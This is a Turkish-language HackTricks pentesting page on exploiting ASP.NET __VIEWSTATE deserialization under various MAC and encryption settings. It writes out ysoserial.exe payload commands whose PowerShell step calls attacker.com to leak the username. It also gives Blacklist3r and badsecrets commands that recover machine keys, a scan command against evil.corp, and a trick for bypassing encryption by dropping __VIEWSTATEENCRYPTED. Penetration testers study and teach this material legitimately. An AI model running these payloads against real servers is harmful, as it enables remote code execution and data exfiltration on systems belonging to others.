hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
2024-02-10 18:14:16 +00:00

17 KiB
Raw Blame History

__VIEWSTATE Parametresini Sırları Bilmeden Sömürme

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları:

Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı polonyaca yazılı ve konuşulan gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

ViewState Nedir

ViewState, ASP.NET'te sayfa ve kontrol verilerini web sayfaları arasında korumak için varsayılan mekanizma olarak hizmet verir. Bir sayfanın HTML olarak işlenmesi sırasında, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizilere seri hale getirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.

ViewState bilgisi aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:

  • Base64:

  • Bu format, hem EnableViewStateMac hem de ViewStateEncryptionMode öznitelikleri false olarak ayarlandığında kullanılır.

  • Base64 + MAC (Message Authentication Code) Etkin:

  • MAC'nin etkinleştirilmesi, EnableViewStateMac özniteliğinin true olarak ayarlanmasıyla elde edilir. Bu, ViewState verileri için bütünlük doğrulaması sağlar.

  • Base64 + Şifreli:

  • Şifreleme, ViewStateEncryptionMode özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.

Test Durumları

Resim, .NET framework sürümüne dayalı olarak ASP.NET'te ViewState için farklı yapılandırmaları detaylandıran bir tablodur. İçeriğin özeti aşağıda verilmiştir:

  1. Herhangi bir .NET sürümü için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerektirilmez ve dolayısıyla tanımlamak için uygulanabilir bir yöntem yoktur.

  2. 4.5 sürümünden önceki sürümler için, MAC etkinleştirilmiş olsa da Şifreleme devre dışı bırakıldığında, bir MachineKey gereklidir. MachineKey'i tanımlamak için kullanılan yöntem "Blacklist3r" olarak adlandırılır.

  3. 4.5 sürümünden önceki sürümler için, MAC etkin veya devre dışı olsa da, Şifreleme etkinleştirildiğinde bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecekteki Geliştirme" görevidir.

  4. 4.5 ve sonraki sürümler için, MAC ve Şifreleme kombinasyonlarının tümü (hem ikisi true, hem biri true ve diğeri false olsa da) bir MachineKey gerektirir. MachineKey, "Blacklist3r" kullanılarak tanımlanabilir.

Test Durumu: 1 EnableViewStateMac=false ve viewStateEncryptionMode=false

Ayrıca, AspNetEnforceViewStateMac kayıt defteri anahtarını sıfıra ayarlayarak ViewStateMAC'yi tamamen devre dışı bırakmak da mümkündür:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState Özniteliklerini Belirleme

ViewState'nin MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalayarak deneyebilirsiniz. Eğer parametre korumak için Mac kullanılmıyorsa, YSoSerial.Net kullanarak bunu sömürebilirsiniz.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test Case 1.5 Test Case 1 gibi ViewState çerezi sunucu tarafından gönderilmez

Geliştiriciler, ViewState'in bir HTTP İsteğinin bir parçası olmasını engelleyebilir (kullanıcı bu çerezi almayacaktır).
ViewState'in mevcut olmadığını varsayabiliriz, bu durumda ViewState deserializasyonuyla ilgili herhangi bir potansiyel güvenlik açığından korunduğumuzu düşünebiliriz.
Ancak durum böyle değildir. ViewState parametresini istek gövdesine ekler ve ysoserial kullanarak oluşturduğumuz seri hedefimizi gönderirsek, yine de kod yürütme elde edebiliriz, Case 1'de gösterildiği gibi.

Test Case: 2 .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false

Bir belirli bir sayfa için ViewState MAC'ini etkinleştirmek için belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekmektedir:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Genel olarak, aşağıda gösterildiği gibi web.config dosyasında ayarlayarak uygulama için de yapabiliriz:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Parametre bu sefer MAC korumalı olduğu için saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.

Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) 'ı deneyebilirsiniz.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets, bilinen machineKeys'i tespit edebilen başka bir araçtır. Python ile yazıldığı için Blacklist3r gibi Windows bağımlılığı yoktur. .NET viewstate'leri için, kullanmanın en hızlı yolu olan "python blacklist3r" adında bir yardımcı program bulunmaktadır.

Görünüm durumu ve üreteci doğrudan sağlanabilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Veya, doğrudan hedef URL'ye bağlanabilir ve HTML'den viewstate'i çıkarmayı deneyebilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Ölçeklenebilir bir şekilde zayıf viewstate'leri aramak için, alt alan taraması ile birlikte badsecrets BBOT modülü kullanılabilir:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Eğer şanslıysanız ve anahtar bulunursa, YSoSerial.Net: kullanarak saldırıya devam edebilirsiniz.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

_SERVER tarafından _VIEWSTATEGENERATOR parametresi gönderilmediği durumlarda --generator parametresini belirtmeniz gerekmez, ancak bunları belirtmelisiniz:

--apppath="/" --path="/hello.aspx"

Test Durumu: 3 .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true

Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değerin muhtemelen şifreli olduğu ve zafiyeti sömürmek için payload'ınızı şifrelemek için Makine Anahtarına ihtiyacınız olacağı anlamına gelir.

Bu durumda Blacklist3r modülü geliştirilmektedir...

.NET 4.5 öncesinde, ASP.NET, ViewStateEncryptionMode Her zaman olarak ayarlanmış olsa bile, kullanıcılardan şifrelenmemiş bir ___VIEWSTATE_ parametresini kabul edebilir. ASP.NET, sadece istekte __VIEWSTATEENCRYPTED parametresinin varlığını kontrol eder. Bu parametreyi kaldırırsanız ve şifrelenmemiş payload gönderirseniz, yine de işlenecektir.

Bu nedenle, saldırganlar, ViewState deserialization zafiyetini kullanarak RCE gerçekleştirmek için YSoSerial.Net komutunu 2. Durumda kullanıldığı gibi, dosya gezintisi gibi başka bir zafiyet aracılığıyla Makine Anahtarını elde etme yolunu bulurlarsa kullanabilirler.

  • ViewState deserialization zafiyetini sömürmek için istekten __VIEWSTATEENCRYPTED parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve saldırı başarısız olacaktır.

Test Durumu: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, ancak her iki özelliğin de false olarak ayarlanması

Aşağıdaki gibi web.config dosyasının içine aşağıdaki parametreyi belirterek ASP.NET framework'ün kullanımını zorlayabiliriz.

<httpRuntime targetFramework="4.5" />

Alternatif olarak, bunu web.config dosyasının machineKey parametresi içine aşağıdaki seçeneği belirterek yapabilirsiniz.

compatibilityMode="Framework45"

Önceki gibi değer şifrelenmiştir. Dolayısıyla, geçerli bir saldırı yükü göndermek için saldırganın anahtara ihtiyacı vardır.

Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) 'ı deneyebilirsiniz:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath ve TargetPagePath için daha detaylı bir açıklama için buraya bakın.

Veya, Badsecrets ile (bir üreteç değeriyle):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Geçerli bir Makine anahtarı belirlendikten sonra, bir sonraki adım YSoSerial.Net kullanarak seri hale getirilmiş bir payload oluşturmaktır.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Eğer __VIEWSTATEGENERATOR değerine sahipseniz, bu değeri kullanarak --generator parametresini deneyebilir ve --path ve --apppath parametrelerini atlayabilirsiniz.

ViewState deserialization açığı başarılı bir şekilde sömürüldüğünde, kullanıcı adını içeren saldırgan tarafından kontrol edilen bir sunucuya yönelik bir out-of-band isteği gerçekleşir. Bu tür bir saldırı, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" adlı bir kaynakta bulunan bir kanıt olarak gösterilir. Sömürü sürecinin nasıl çalıştığı ve Blacklist3r gibi araçları kullanarak MachineKey'i belirleme konusunda daha fazla ayrıntı için sağlanan Successful Exploitation PoCu inceleyebilirsiniz.

Test Durumu 6 - ViewStateUserKeys kullanılıyor

ViewStateUserKey özelliği, bir CSRF saldırısına karşı savunma olarak kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve yukarıda tartışılan yöntemlerle ViewState payload'u oluşturmaya çalışırsak, payload uygulama tarafından işlenmeyecektir.
Doğru bir şekilde payload oluşturabilmek için bir tane daha parametre kullanmanız gerekmektedir:

--viewstateuserkey="randomstringdefinedintheserver"

Başarılı Saldırının Sonucu

Tüm test durumları için, eğer ViewState YSoSerial.Net payload'u başarılı bir şekilde çalışıyorsa, sunucu "500 Internal server error" yanıtıyla yanıt verir ve yanıt içeriği "The state information is invalid for this page and might be corrupted" olur ve OOB isteği alırız.

Daha fazla bilgi için buraya bakın.

Referanslar

Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları: